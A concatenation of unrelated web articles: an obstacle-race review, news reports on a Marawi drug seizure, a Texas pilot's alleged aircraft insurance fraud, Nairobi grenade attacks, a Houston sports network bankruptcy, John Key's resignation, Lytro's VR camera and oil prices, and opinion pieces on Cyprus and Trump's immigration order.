Jerry Can Carry (one for each hand. 44lbs for the men and 22lbs for the women). If you are guessing that most of the carrying was done going uphill, you’d be correct.  As for the “tougher” obstacles that I mentioned earlier? The first to show up was called Weaver. This is a shallow A-frame structure with wide parallel bars across it. As you go through it, you must “weave” over a bar and then under a bar (and so on) until you reach the end. For me, the transition from over to under was particularly painful, and I have the bruises to prove it.  A bit further down the trail (mostly uphill, of course) was Tip of the Spear. This obstacle combines two grip strength sapping elements, both of which take place against steep A-frame walls. The first section had 6 ropes lying side by side, which you had to use to traverse the wall from right to left. This was made more difficult thanks to the wall being covered in a slippery plastic. A 4×4 balance beam lead you to the middle wall. This one had 2×4’s secured toward the top of the walls, angled upward in a chevron shape. There were two of these set-ups on the wall, with a small ledge to rest your feet after you completed the first one. A second balance beam lead you to the final wall, which was a repeat of the rope wall. The only catch here is that at the top of the last rope there is a bell that you must ring.  The Rope Climb was the 22nd obstacle of the day, and one that I had never attempted before. It was not as tall as I had expected, which artificially boosted my confidence. A quick attempt to muscle up the rope using only my arms was quickly met with defeat. As I waited for the feeling to return to my hands, I watched a few other athletes come through. By mimicking their cross footed, thigh squeezing technique, I was able to ring the bell on my second attempt.  Anyone who has heard of BattleFrog, has heard of the Platinum Rig. I knew it was coming, I just didn’t know exactly when. After yet another climb, as you’re approached the apex of the hill…you could hear the commotion. Lots of cheering, lots of grunting, and a few expletives being shouted. There is was, in all its lime green glory. As luck would have it, we were treated to back-to-back rigs. This would be my only failed obstacle of the day, which coincided with my first time ever doing 8-count body builders. Hats off to anyone who was able to complete this bad boy, I look forward to the day that I do.  Following the rig, you were actually able to get a glimpse of the finish line. With the “tough” obstacles behind me, this put a little boost in my gait. But our BattleFrog friends weren’t done messing with us just yet. After a short distance through relatively flat terrain, the Monkey Bars appeared. The big difference with these Monkey Bars is that the bars aren’t fixed. So they roll as you grip them. This added an extra degree of difficulty. It was a nice twist on an otherwise standard obstacle.  With the finish line now in clear site (up one more hill, of course), there was one more wall to conquer (of course there was). This was a 12-foot rope wall. This obstacle is basically a 12-foot wall with a rope hanging off the top, and a horizontal 2×4 about half way up. Because this obstacle was placed so late in the course, and grip strength was exhausted, it was quite challenging. I was fortunate to clear it, but my decsent from the top could best be described as “controlled falling”.  The signature Delta Cargo obstacle was the final of the day. After clearing that, my first BattleFrog was officially in the books. I received my finisher medal and headed to the beer tent.  I didn’t really know what to expect when I signed up for this event. Like any OCR company, there are fans and detractors of them all. Personally, I came away from this event incredibly impressed. Parking at this venue is incredibly sparse, but I feel they did a good job with the shuttle bus system that they employed. Registration was seamless for me, and the staff and volunteers were knowledgeable and friendly. I would definitely consider myself a fan of this series, and look forward to attending the one in San Jose in August.  *Photo credits to David Bird, Joe Forney, Rachelanne Gladden, and Christopher Thomas
-Authorities recovered 11 kilos of suspected shabu from a stronghold of the Maute group in Marawi City during a clearing operation, the military said on Monday.  Troops of Alfa Company led by First Lieutenant Emerson Tapang of the Army’s 49th Infantry Battalion found the shabu and four high-powered firearms in a former Maute position at 6 p.m. on Sunday, Joint Task Force Marawi Brig. Gen. Rolando Bautista said in a statement.  ADVERTISEMENT  Later, soldiers engaged Maute members in a firefight.  “Soldiers spotted men clad in black emerging from a cluster of houses that prompted troops to maneuver. The terrorists put up a fight but fled while carrying items taken from one of the houses,” Bautista said.  Authorities estimate the value of recovered shabu at around P110 million to P250 million.  The recovered drugs were turned over to Joint Task Group Haribon and will be transferred to the appropriate government agency, Bautista said.  Western Mindanao Command chief Lt. Gen. Carlito Galvez said the recovered illegal drugs was the biggest haul from the Maute group so far.  During the first and second weeks of the fighting, soldiers also found smaller but numerous packets of shabu from places used by the terrorists.  CBB/rga  ADVERTISEMENT  Read Next  LATEST STORIES  MOST READ
-Texas pilot Theodore R. Wright III emerged from the Gulf of Mexico in 2012 with a story to tell.  Pilot Theodore R. Wright III, right, and passenger Raymond Fosdick were rescued by the U.S. Coast Guard after ditching in the Gulf of Mexico in September 2012. Both men now stand accused of fraud. U.S. Coast Guard photo.  He had ditched a Beechcraft Baron; filmed himself and his passenger treading water while awaiting rescue; and soon made the rounds on television with his video and harrowing tale of a cockpit fire, emergency descent, and water landing. Federal prosecutors say that was actually the first in a series of acts in a conspiracy to commit insurance fraud and arson by destroying two airplanes, a sports car, and a yacht.  Wright and his passenger from the 2012 Baron ditching, Raymond Fosdick, are among four men who now face decades in federal prison if convicted of all charges in the U.S. District Court for the Eastern District of Texas in Tyler. Wright was arrested June 28, posted bond, then lost his freedom again July 5 when U.S. District Court Judge Ron Clark ordered Wright to be remanded to custody pending a trial scheduled to begin in October.  Once all four accused conspirators had been arrested by late July, the court unsealed the 25-page indictment detailing accusations against the quartet, with much of that case focused on Wright. Fosdick, who was arrested in South Carolina July 21, and Shane Gordon, who was associated with Wright in a variety of business ventures, as well as a registered charity Wright created, are accused of conspiring in various ways. Alleged conspirator Edward Delima was taken into custody in Hawaii, where prosecutors say he insured a 1998 Hunter Passage yacht (which Wright had purchased for $50,150) for $195,000, a few months before it sank at the dock.  Fosdick stands accused of participating in the first act of fraud, the Gulf of Mexico ditching, though Wright alone is named in conjunction with each overt act alleged in the federal grand jury’s indictment. According to that indictment, signed about a month before Wright's arrest, Wright prepared himself to ditch the 1966 Baron, N265Q, attending “water-landing training” in Alabama on three occasions prior to the Baron’s final flight: in April 2012, August 2012, and September 2012.  On Sept. 20, 2012, Wright and Fosdick departed Baytown, Texas, bound for Bradenton, Florida, a flight that ended in the deep water of the Gulf of Mexico, from which the aircraft was never recovered. Wright had purchased the Baron in March 2012 for $46,000, insured it for $85,000 in April 2012, and collected an $84,000 insurance payout Oct. 3, 2012.  “Hopefully we never have to do that again,” Wright told AOPA in a telephone interview on Oct. 9, 2012, offering an account of the experience coping with a purported in-flight fire that had transformed him, if briefly, into a media celebrity. His version of events at the time contrasts sharply with the version put forward more recently by federal prosecutors. According to federal court documents, Fosdick went on to sue Wright for $1 million for injuries and damages sustained in the September ditching. Fosdick settled his claim against Wright's insurance company for $100,000 in December 2013, and the proceeds were eventually divided between the two men and their lawyers.  A month later, Wright bought a 2008 Lamborghini Gallardo with a salvage title for $76,000, insured it, and then drove it into a ditch full of water on March 9, 2014. Wright went on to collect $169,554.83 from the insurance company, a check deposited by Gordon.  Five days after the Lamborghini was flooded, Wright purchased a 1971 Cessna Citation for $190,000, and subsequently insured it for $440,000 through one of several companies Wright and Gordon were involved in as listed corporate officers. Prosecutors say Fosdick flew to Athens, Texas, to destroy the jet on Aug. 29, 2014. Excerpts from a text message conversation between Wright and Fosdick are included in the grand jury indictment:  “Just don’t look suspicious there,” Wright warned in an iMessage exchange. He offered advice to Fosdick, who reported trouble with engine start. Later, Fosdick advised he had company:  “Old man just showed up,” Fosdick wrote, drawing an expletive from Wright in reply.  Prosecutors say Fosdick left the Citation at the airport on Aug. 30, 2014, and returned Sept. 12, 2014, to finish the job. Wright offered advice on vehicle “switcheroos:”  “Do not get made in that car or it will sink us,” Wright wrote in a text conversation.  Prosecutors say Gordon communicated via phone and email with the fire marshal in Athens, making false representations about the ownership of the aircraft, along with an unmanned “co-conspirator” who came forward to claim ownership. Gordon would later file the insurance claim, and Wright and his alleged co-conspirators received a $440,000 insurance settlement for the destroyed Citation. The check was deposited Feb. 11, 2015, and endorsed by Gordon, prosecutors said. Gordon and Wright then purchased a Gates Learjet Model 35A, serial number 476, on Feb. 27, 2015.  Also in February 2015, the sailboat sank. Wright had purchased the 1998 Hunter Passage in October 2014, and, according to the indictment, “'loaned'” Delima $193,500 to buy the vessel. Delima insured it for $195,000, and Wright paid the premiums, according to court documents. On Feb. 20, 2015, “the vessel was extensively damaged due to partially sinking in a marina in Ko Olina, Hawaii,” the indictment states.  A week later, Delima and Wright had a Facebook chat, also recorded in the indictment, regarding the insurance claim for the sailboat:  “I think you and I should be on the phone together for the claim call, I pretend to be you and give them all the info, then you will hear everything so you know what to say later, and we will be on messenger if we need to communicate while we are on the phone with them,” Wright wrote.  Prosecutors say the insurance company (not named in the indictment) issued a check for $180,023.80 on July 3, 2015.  Federal prosecutors have sought the forfeiture of the Learjet and $938,554.80 in known proceeds from the various crimes. The indictment was signed May 17.  Wright has apparently deleted Facebook and Instagram accounts for which he developed a following, sharing photos and anecdotes of aeronautical exploits. The last remaining trace of the online life Wright presented to the world is a Facebook page for his purported charity, Around the World for Life, which he claimed to have created to inspire children to fly in the October 2012 telephone interview with AOPA. That interview followed appearances on Inside Edition and with CNN’s Anderson Cooper. Wright said at the time that his sudden celebrity should be leveraged to help spread good words about general aviation.  “Let’s get what benefit we can out of this thing,” Wright said.  Wright’s attorney did not respond to an email seeking comment on behalf of his client, who, along with his alleged conspirators, faces a potential prison term of up to 90 years and up to $1 million in fines if convicted.
-Image copyright Reuters Image caption The attackers targeted a busy bus stop and a food kiosk in Eastleigh  Six people have been killed in explosions in the Kenyan capital, Nairobi, officials say.  Several people were wounded in the attack, which took place in the Eastleigh suburb of the city.  More than 200 people were arrested in Eastleigh following the explosions, a police spokeswoman said.  Eastleigh is known as "Little Mogadishu" because of its large Somali population.  Although no group said it was behind the latest attack, many are blaming it on the Somali militant group al-Shabab.  Four members of the group were behind the four-day siege at a shopping centre in Nairobi last September, in which 67 people died.  'Grenades'  Eyewitnesses said devices appeared to have been thrown towards a bus stop and a food kiosk as people made their way home for the evening.  Kenya's Standard newspaper said that the twin blasts went off some 50m (165ft) apart on 11th Street, and some of those caught up in the attack had serious injuries.  Image copyright bbc  "We suspect it is a grenade," a local police officer told the AFP news agency.  Eastleigh has seen several recent grenade attacks, including one in December last year that killed four people.  The BBC's Caroline Karobia in the capital, Nairobi, says the 200 arrests do not come as a surprise - the police tend to carry out mass arrests after such attacks and charge people with petty offences like loitering, she says.  A week ago, more than 100 people were arrested following an attack on a church near the coastal city of Mombasa.  Unidentified gunmen entered the church, killing six people.  Kenya's government has ordered all Somali refugees living in towns to move into designated camps in a bid to end the attacks.  Interior Minister Joseph Ole Lenku said the directive had been issued because of the "emergency security challenges" facing Kenya. A refugee group condemned the decision as illegal.  Image copyright Reuters Image caption Nairobi has seen several attacks in recent months despite increased security efforts  Kenya has several thousand troops in Somalia, helping the UN-backed government tackle al-Shabab, who are linked to al-Qaeda.  President Uhuru Kenyatta has said Kenya's tourism sector is "on its knees" because of the threat from Islamist militants.  Mr Kenyatta met ethnic Somali leaders last week to ask for their help in identifying people they thought may be behind recent attacks in the capital.  "We all have a responsibility to bring this to an end," Mr Kenyatta said.
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-With two weeks left before a potentially significant status update in the Comcast SportsNet Houston bankruptcy case, Astros owner Jim Crane said negotiations continue with carriers and potential investors in the financially strapped network and that he is, as always, hopeful of progress.  U.S. Bankruptcy Judge Marvin Isgur earlier this month granted attorneys for the network an additional 30 days to submit a plan of reorganization and set a CSN Houston status conference for July 2.  In the meantime, Crane said this week the network “is in negotiations with pretty much everybody and hopeful of getting something done.”  “We’ve been in contact with everybody that’s in the game, and there’s some activity,” Crane said. “There’s been some interest from some private equity firms.”  The CSN Houston bankruptcy case, now in its ninth month, has unfolded slowly during a period of rapid changes in the television landscape. Recent developments have included Comcast’s plan to purchase Time Warner Cable, which has systems in several major Texas cities, and the proposed purchase of DirecTV by AT&T, which owns the U-verse video service.  “You’ve got two things coming down, and I think that’s going to create some tension,” Crane said. “It could be a positive for us.”  However, carriers ranging from DirecTV to Comcast and Suddenlink also must be concerned with the approaching launch of ESPN’s SEC Network.  ESPN and the Southeastern Conference reportedly are seeking monthly subscription fees of $1.30 per month in the conference footprint, which includes the entire state of Texas, at the same time that attorneys for CSN Houston are trying to fashion a reorganization plan that will lift the Astros-Rockets-Comcast network toward profitability.  CSN Houston’s rate structure remains sealed under a court order, but similar networks generally charge in excess of $4 per month for their core territory and less than a dollar in outlying areas.  Crane’s said the Astros’ recent improvement has sparked viewers’ interest in the team.  “We’ve gotten lots of calls the last couple of weeks,” he said. “People want to watch the games. We’ve got to get them on.”  There has been no movement in more than two months on the Astros’ motion to dismiss Judge Isgur’s Chapter 11 order, which was issued last February.  Also still pending in federal court is a civil lawsuit filed by Crane’s ownership group against former Astros owner Drayton McLane and Comcast, which stems from the valuation set on CSN Houston when Crane bought the team and McLane’s 46.5 percent share in CSN Houston in 2012.
-The first scrimmage of Oregon's preseason camp was marred by "a lot of penalties," coach Willie Taggart said, but he considered it "a good scrimmage we all can learn from."  The scrimmage, held Saturday and featuring officials, capped the first two weeks of preseason camp, and was followed by a team barbecue in north Eugene.  "I saw some good things and bad things," Taggart told reporters Monday in Eugene. "With it being the first scrimmage you expect some penalties. We had a lot of penalties. I thought overall it was a good scrimmage. I thought it was a good scrimmage we all can learn from."  "... Again those penalties just drive you crazy. I was also excited how we bounced back from those penalties. We didn't let it just kill us. Some of those penalties could be drive-stopping penalties but our guys stayed focused and was able to bounce back and make plays afterward, so I thought that was a good thing."  Oregon averaged 8.2 penalties per game last season, the 126th-highest average in the 128-team Football Bowl Subdivision. Oregon also ranked 126th by racking up 75.8 yards tied to penalties per game. Taggart's South Florida team averaged 6.4 penalties per game last season, ranking 79th, and 58.7 yards from them, which ranked 89th.  "Today we're going to go back and watch that film some more and learn from a lot of our mistakes and also learn from some of the good things we did be cause we did some good things, as well," Taggart said.  Here are today's links:
-Cyprus is Turkish, after all. Turks can do whatever they want there. They can even celebrate dropping napalm on Greeks and slaughtering them.  Uzay Bulut The writer is a Turkish journalist and political analyst formerly based in Ankara. She now lives in the United States. More from the author ► The writer is a Turkish journalist and political analyst formerly based in Ankara. She now lives in the United States.  On August 8, Muslim Turkish Cypriots and illegal settlers from Turkey celebrated the 53rd anniversary of Turkey’s napalm bombing of Greek Cypriot civilians in the Turkish-occupied enclave of Kokkina in Cyprus. Mustafa Akıncı, the president of the self-styled “Turkish Republic of Northern Cyprus” (TRNC), which is recognized only by Turkey, also participated in the celebrations.  In August 1964, Turkish warplanes dropped napalm bombs on Kokkina in the Tillyria peninsula, hitting residential areas and a hospital, and killing more than 50 people, including 19 civilians. Ten years later, in 1974, Turkey invaded Cyprus and has occupied almost 40 percent of the island ever since.  The Ministry of Foreign Affairs of Greece issued a note of condemnation regarding the celebrations:  “We are dismayed to note the celebrations of the Turkish Cypriot leadership, including Mr. Akinci himself, of the 53rd anniversary of the use of chemical weapons and dropping of napalm bombs by the Turkish air force on the Tillyria peninsula. This was the first use of banned chemical weapons in the history of our planet.  “Today, when the whole planet bows to the victims of wars and such hostile acts, the holding of and participation in such celebrations is an affront to international law, to the memory of the fallen, and to the whole of humanity.”  The Republic of Cyprus declared independence in 1960. Afterwards, Turkey escalated its preparations to invade the island, which included but were not limited to establishing a bridgehead at Kokkina in 1964 and smuggling arms and fighters from Turkey into the area in order to strengthen Turkish positions there.  According to the High Commission of the Republic of Cyprus in London,  “When in August 1964 the [Cypriot] Government attempted to contain the Kokkina bridgehead, Turkey's air force bombed the National Guard and neighboring Greek villages with napalm and threatened to invade. The other major purpose served by the enclaves was the political and physical separation of the two communities.”  Another preparation for the occupation by Turkey was its disguised violent attacks against Turkish Cypriots to further escalate inter-communal conflicts and alienate Turkish-speaking Cypriots from Greek Cypriots.  General Sabri Yirmibeşoğlu, a Turkish army officer, for example, said in televised comments in 2010 that Turkey burned a ‎mosque during the Cyprus conflict “in order to foster civil resistance” against Greeks on the islandand that “The Turkish special warfare department has a rule to engage in acts of sabotage against respected values [of Turks] made to look as if they ‎were carried out by the enemy.”  The deadly military assault against Kokkina in 1964 is celebrated by many Turkish Cypriots and settlers from Turkey as the “8 August Erenköy Resistance Day.” Turks now call Kokkina “Erenköy,” Turkish for “the village of the [Islamic] saints.”  In 2014, for example, the community leader of Kato Pyrgos, Costas Michaelides, condemned the formal Turkish celebrations in Kokkina, describing them as a “disgrace.” “The memories are alive because the victims, those who survived, are here. The crosses [on the graves] are here. However, many years pass, 50 or 150, we will see this in our daily lives, because they remind us of this cowardly attack against the unarmed people of Tylliria,” he said.  The Turkish narrative does not deny the smuggling of arms and fighters to Cyprus in 1964; the problem is Turks do not view these acts as illegal activities or crimes against the Republic of Cyprus. They see them as “heroism.”  During the celebrations on August 8, Mehmet Kadı, the mayor of Yeni Erenköy (Yialousa), said:  “53 days ago, today, in August 1964, the villagers, students and our mujahedeen [jihadists] struggled together, fought for this land and did not allow the enemy to enter here.”  The enemy that Kadı referred to is the Republic of Cyprus and Greek Cypriots, the natives of the island who still comprised the majority in the northern part of Cyprus back then.  The Turkish Cypriot Minister of Economy and Energy, Sunat Atun, also issued a statement regarding “the Erenkoy resistance” and referred to it as “an act of heroism.”  “Turkish Cypriot people engaged in powerful and honorable resistance in the face of the inhumane attacks by the dual of the Rum [ethnic Greeks] and Greece. About 500 students from Anatolia and a group of Turkish Cypriots from Britain started landing in Cyprus to defend their homeland when attacks against Turkish Cypriots escalated in 1964.”  Mustafa Arıkan, the head of the Erenköy Mujahedeen [Jihadists] Association, also announced that during the commemoration, “for the first time, family members of 28 martyrs were given plaques.”  On July 20, 1974, Turkey mounted a bloody invasion of the island. The second Turkish offensive, codenamed Attila 2, took place between August 14-18. The invasion was accompanied by the mass murder of Greek Cypriot civilians, including women, and infants, unlawful arrests and torture of Greek Cypriots, and rapes of Greek Cypriot children and women, among other atrocities.  Zenon Rossides, the then-Cyprus representative to the United Nations, sent a letter on 6 December 1974 to the UN Secretary General, which said in part that Turkey “launched a full scale aggressive attack against Cyprus, a small non-aligned and virtually defenseless country, possessing no air force, no navy and no army except for a small national guard. Thus, Turkey's overwhelming military machine embarked upon an armed attack including napalm bombing of open towns and villages, wreaking destruction, setting forests on fire and spreading indiscriminate death and human suffering to the civilian population of the island.”  The greatest consequence of the invasion was that Turkey changed the demographic structure of the northern part of the island, terrorizing around 200,000 indigenous Greek Cypriot majority population (more than one-third of the population) into fleeing to the southern part of the island. It is estimated that more than 100,000 Turkish settlers have been implanted in northern Cyprus since then. Lands and houses belonging to Greek Cypriots were then distributed to Turkish Cypriots and to Turks brought from Turkey to settle in those areas.  According to the official website of the Turkish Ministry of Foreign Affairs, “Cyprus has never been a Greek Island  Turkish supremacists act so blatantly in Cyprus because they claim Cyprus is a Turkish island. Thus, bringing in Turkish fighters to Cyprus to kill Greek Cypriots, importing tens of thousands of settlers from Turkey, deploying around 40,000 Turkish soldiers there, forcibly changing the demographics of the island, seizing the homes and other property of Greek Cypriots, and wiping out the island’s historic Hellenic and Christian identity through the destruction of its cultural heritage are all legitimate acts according to the Turkish narrative.  Cyprus is Turkish, after all. Turks can do whatever they want there. They can even celebrate dropping napalm on and slaughtering Greeks.  Employing Orwellian rhetoric, Turkey calls the military invasion of Cyprus “a peace operation.” In 1974, Kemalists and Islamists of all political parties supported the invasion of Cyprus. Moreover, Turkey does not recognize Cyprus as a Greek island or even as “a nation.”  According to the official website of the Turkish Ministry of Foreign Affairs, “Cyprus has never been a Greek Island. It is both useful and important to keep in mind that there has never been in Cyprus a ‘Cypriot nation’ due to the distinct national, religious and cultural characteristics of each ethnic people who, in addition, speak different languages.”  The Turkish ministry cannot be more wrong. Never until the Turkish invasion in 1974 did the northern part of the island have a Turkish majority. Both the north and south of the island were majority-Greek and majority-Christian until 1974. “Cyprus has been a part of the Greek world as far back as can be attested by recorded history,” writes the author Constantine Tzanos.  “After the collapse of the Byzantine Empire and the defeat of the Venetians, it fell to Ottoman rule from 1571 to 1878. In 1878 it was placed under British administration, was annexed by Britain in 1914, and in 1925 became a British colony.”  However, the Cyprus question has been one of the key aspects of the Turkish foreign policy for a very long time. Actually, Cyprus has never ceased to be a “national cause” for Turks ever since the Ottomans first invaded it in 1571. A Muslim sovereign is not allowed to relinquish land once it has been conquered. And they can even celebrate their war crimes and murders.  Showing no regard for the sufferings of Greek Cypriots, many Turkish Cypriots and their leaders – including Mustafa Akıncı – have celebrated the deadly assaults on their Greek neighbors. But a community leader who genuinely aims for a peaceful resolution and coexistence in Cyprus would condemn the use of napalm bombs on unarmed civilians and the destruction of that part of the island, and would commemorate the Greek Cypriot victims as well.  Sadly, Turkish Cypriots’ celebrations of the brutal warfare against Greek Cypriot civilians have discredited all of their erstwhile statements that they support a peaceful resolution of the conflict in the island and justice for all its inhabitants.
-WELLINGTON (Reuters) - New Zealand Prime Minister John Key, who won praise for his economic stewardship after the global financial crisis, unexpectedly announced his resignation on Monday after eight years in power, backing his finance minister to take the helm.  Bill English, deputy prime minister and finance minister, said he would likely decide overnight whether to stand for the leadership of the ruling center-right National Party at a special December 12 caucus meeting.  Key, a popular former foreign exchange dealer who grew up in state housing, is part-way through a third, three-year term that has been marked by political stability and economic reform.  He told reporters he would stay in parliament long enough for his party to avoid a by-election for his seat. National elections are not expected until late 2017.  “It leaves the Cabinet and caucus plenty of time to settle in with a new Prime Minister before heading into election year with a proud record of strong economic management,” Key told reporters in Wellington.  “I am hugely confident that National can and will win the next election.”  Key said he would vote for English if he stood for party leader and prime minister at the December 12 caucus meeting.  “I’ll be talking to caucus and family today and tonight,” English told reporters. “I wouldn’t stand if there wasn’t strong caucus support for me standing.”  English, a political veteran who previously worked on the family farm and as a Treasury Department policy analyst, would likely continue with many of Key’s core policies, analysts said.  Steven Joyce, who has held a variety of senior cabinet positions since joining the parliament in 2008, is seen as another potential candidate, while Judith Collins, the minister for police and corrections, told local media she would not rule out running.  “We expect New Zealand’s very strong institutions to lead to a smooth transition and policy continuity,” ratings agency Moody’s said in a statement, adding there were no implications for New Zealand’s Aaa credit rating.  The New Zealand dollar fell around a fifth of a U.S. cent on the news and was last trading around $0.71 NZD=D4.  “One issue to be mindful of is that we’ve had political stability in New Zealand now for a number of years,” said Philip Borkin, a senior economist at ANZ. “That may not change significantly but it does add a little bit of uncertainty to the political environment that we’re used to.”  New Zealand's Prime Minister John Key waves to photographers during the APEC (Asia-Pacific Economic Cooperation) Summit in Lima, Peru, November 20, 2016. REUTERS/Mariana Bazo/File photo  “SAY IT AIN’T SO, BRO”  Key, a multi-millionaire who worked at banks including Merrill Lynch, won office for the Nationals in 2008, ending the nine-year rule of Labour’s Helen Clark. English briefly served as leader of the National Party previously, trying and failing to unseat Clark in 2002.  Together Key and English won praise for their stewardship of the NZ$240 billion ($170 billion) economy in the aftermath of the global financial crisis and two devastating earthquakes near Christchurch.  In October, New Zealand reported its second straight budget surplus, helped by an economy growing at 3.6 percent in the second quarter.  Key steps down with his party in a dominant position in New Zealand’s German-style mixed member proportional representation parliament.  A Roy Morgan poll last week showed support for the National Party up 1.5 percent to 49.5 percent, clearly ahead of the Labour/Greens alliance, at 37.5 percent support.  “I sent him one very short message ‘Say it ain’t so bro’,” Australian Prime Minister Malcolm Turnbull told reporters in Melbourne.  “John Key is one of the most outstanding national leaders in the world today...He is somebody that all of us, right around the world, leaders in countries large and small, draw inspiration from.”  Key has been dubbed “Teflon John” for avoiding lasting damage from a series of controversies which include repeatedly pulling the ponytail of a waitress, his handling of the arrest of accused internet piracy kingpin Kim Dotcom and his backing of a failed referendum to change the New Zealand flag.  Slideshow (4 Images)  “As a top trader he knows you sell stocks when they are at their highs, not lows,” Bryce Edwards, lecturer in politics at the University of Otago, told Reuters. “So he’s managed to leave politics on a high note and will go down in history as a popular politician.”  Asked if he had any regrets, Key said that not securing the Trans Pacific Partnership trade deal was a major one, but it was time to call it quits for his wife Bronagh.  “Ten years at the top is a long time, it is a lot of lonely nights for Bronagh. I really feel I owe it to family to come home.”  ($1 = 1.4112 New Zealand dollars)
-247 SHARES Facebook Twitter Linkedin Reddit  Back toward the end of 2015, light field camera company Lytro announced a major turn toward the VR market with the introduction of ‘Immerge’, a light field camera made for capturing data which can be played back as VR video with positional tracking. Now the company is showing the first footage shot with the camera.  Lytro has made point-and-shoot consumer light field cameras since 2012. And while the company has had some success in the static photo market, the potential market for the application of light field capture has pulled the company into VR in a big way.  Immerge, a 360 degree light field camera in the works by Lytro, captures incoming light from all directions. With not only the color of the light, but also its direction, the camera is capable of capturing data representing a stitch-free snippet of the real world, and (uniquely compared to other 360 degree cameras) the data which is captured allows for positional tracking from the user’s head (the ability to move your head through 3D space {‘parallax’} and have the scene react accurately).  This ability is one of the major advantages over standard film capture, and is seen as critical for immersion and comfort in VR experience. Now, Lytro is showing off the first light field footage shot by their Immerge camera; they say it’s the “first piece of 6DOF 360 live action VR content ever produced.”  Light field captures from Lytro’s camera also have a few other tricks, like the ability to change the IPD (distance between the stereo images, to align with each user’s eyes) and focus as needed in post-production.  The company says that Immerge’s light field data captures scenes not only with parallax, but also with view-dependent lighting (reflections that move correctly based on your head position), and truly correct stereo which works no matter the orientation of your head. Traditional 360 degree camera systems have issues showing stereoscopic content when the viewer tilts their head in certain directions, while Immerge’s light field captures retain proper stereo no matter the orientation of the head, Lytro says.  According to Lytro’s VP of Engineering, Tim Milliron, Immerge can render up to 8k per eye resolution, synthesizing the view from hundreds of constituent sub-cameras. Milliron says the company expects content creators to use Immerge’s light field captures like a high quality master file, from which a high-end 6DOF-capable experience could be distributed in app-form to desktop VR headsets, or other more basic 360 video files could be rendered for uploading and playback through traditional means.  Last year, Lytro raised a $50 million investment to pursue their VR interests. While the company initially expected to have Immerge ready in the first half of 2016, it’s just now in Q3 that we’re seeing the first test footage shot with the device. Felix & Paul Studios, Within (formerly ‘Vrse)’, and Wevr were initially said to be among the first companies outside of Lytro to get access to the camera to begin prototyping content. The company is also accepting applications for access to the prototype camera on the official Immerge website.
-NEW YORK (CNNMoney.com) -- Oil prices plummeted Friday, erasing the previous session's spike, as the dollar strengthened and investors worried that a decline in demand will spread outside the United States.  U.S. crude for October delivery dropped $6.59 to settle at $114.59 a barrel on the New York Mercantile Exchange.  The drop in oil was the largest single-day slide in dollar terms since Jan. 17, 1991, when oil fell by $10.56. On that day, President George H.W. Bush withdrew oil from the Strategic Petroleum Reserve ahead of the first Gulf War.  But in 1991, oil was trading at just $32 a barrel, so the more than $10 slide in dollar terms represented a record 33% drop. Oil fell 5.4% Tuesday, which does not even crack the top 50 price declines in percentage terms.  Oil's second-largest slide on Friday comes a day after the second-largest gain on record. Crude futures soared $5.62 a barrel Thursday to rise above $121 a barrel.  "We're trending towards a lot of oil price volatility on the direction of the dollar," said Peter Beutel, an oil analyst with Cameron Hanover. "There are huge amounts of money involved, and the large moves have been based primarily on dollar strength."  Dollar rebounds: The dollar rose after a key measurement showed British economic growth stalled in the second quarter.  The U.K.'s gross domestic product between April and June showed zero growth, the country's statistics office reported Friday.  The economic weakness in Britain signaled that falling demand for oil due to high fuel prices could spread to Europe, according to Kyle Cooper, director of research with IAF Advisors in Houston.  "Fewer trucks delivering packages, fewer people going to work ... There's a very strong correlation between GDP growth and oil usage," said Cooper.  The U.K. report follows other reports this week showing weakness in the euro zone and Japanese economies, putting U.S. investment - and the dollar - in a more favorable light.  A stronger dollar makes crude more expensive for foreign investors, because crude futures are traded in U.S. currency. Rising dollar values also pull investor money out of oil, since many use crude and other commodities as a hedge against inflation.  Georgia-Russia: Oil rose Thursday on tensions between NATO and Russia over the nation's occupation of Georgia. Georgia contains several vital pipeline links that carry crude oil and natural gas between Europe and Asia.  But those tensions appeared to ease Friday.  "There was the potential for some type of action across the Georgian border and we just haven't seen anything," said Neal Dingmann, senior energy analyst with Dahlman Rose & Co.  Also easing supply worries, a BP-led consortium prepared to resume oil flow through the region's Baku-Tbilisi-Ceyhan pipeline, a major oil link between Turkey and the Caspian Sea.  "We're still integrity testing," said BP spokesman Toby Odone, "We expect it will be back in normal operation next week."  U.S. gasoline demand: Falling demand for petroleum-based fuels in the United States has been the main force behind oil's fall from a record high of $147.27 in mid-July.  Demand for gasoline last week was about 9.5 million barrels a day, or 1.6% lower than it was last year, according to an Energy Department inventory report released Wednesday.  Drivers were also spending less time on the road in June, according to a second report from the Transportation Department last week.  Drivers will even cut back over the Labor Day weekend, according to a projection from motorist group AAA. The number of travelers avoiding cars and air travel, and using buses, trains, or other transportation will increase by 12.5% this year, AAA said.  National gasoline prices are down more than 42 cents a gallon from the record high set last month, according to the AAA's daily survey of service stations, falling below $3.70 a gallon.
-Jessie Unterhalter and Katey Truhn, two high-spirited muralists from Baltimore known for their bold, geometric style, are well on their way to completing a new commission on the side of the 710 Main Theatre.  I caught up with the pair this morning as they were putting down the mural's first layer:  Unterhalter and Truhn arrived last week to start the mural and have spent the last several nights sketching out its basic contours with help from video artist and projection pro Keith Harrington (also known as Projex). They're about a third finished with the piece, which will look something like this when it's complete:  And here's an image of the artists' rendering as if viewed straight-on:  The project is part of the Albright-Knox Art Gallery's public art program, a collaboration with Erie County and the City of Buffalo.  Stay tuned for more about the mural and the artists throughout the day.  Email: cdabkowski@buffnews.com
-President Trump has had a busy first week in office, displaying the anarchic grandiosity, callousness, and ineptitude of which he seems uniquely capable. He is every inch what we knew him to be: a malignant Chauncey Gardiner. And now our institutions have begun to shudder at his whim. The fact that atheists like me can’t find the time to worry about the religious crackpots he has brought with him into power is a measure of how bad the man is. Christian fundamentalism has become the least of our concerns. Our democracy has been engulfed by a hurricane of lies.  Many readers have asked me to comment on the president’s executive order suspending immigration from certain Muslim-majority countries. I believe I’ve stated my positions on the relevant topics fairly clearly. But perhaps a brief summary is in order.  1. I did everything I could to make the case against Trump prior to the election (while many of the liberals now attacking me for enabling his “Islamophobia” actively undermined the candidacy of Hillary Clinton, even in the final days of the campaign).  2. I think Trump’s “Muslim ban” is a terrible policy. Not only is it unethical with respect to the plight of refugees, it is bound to be ineffective in stopping the spread of Islamism. As many have pointed out, it is also internally inconsistent: It doesn’t include Saudi Arabia, the United Arab Emirates, Egypt, or Lebanon, any of which has been a more fertile source of jihadist terrorism than several of the countries Trump named.  3. However, most of what is being said in opposition to Trump’s order is thoroughly contaminated by identity politics and liberal delusion. The Left seems determined to empower the Right by continuing to lie about the problem of Islamism. As David Frum recently wrote, “When liberals insist that only fascists will defend borders, then voters will hire fascists to do the job liberals won’t do.” I have been saying as much for more than a 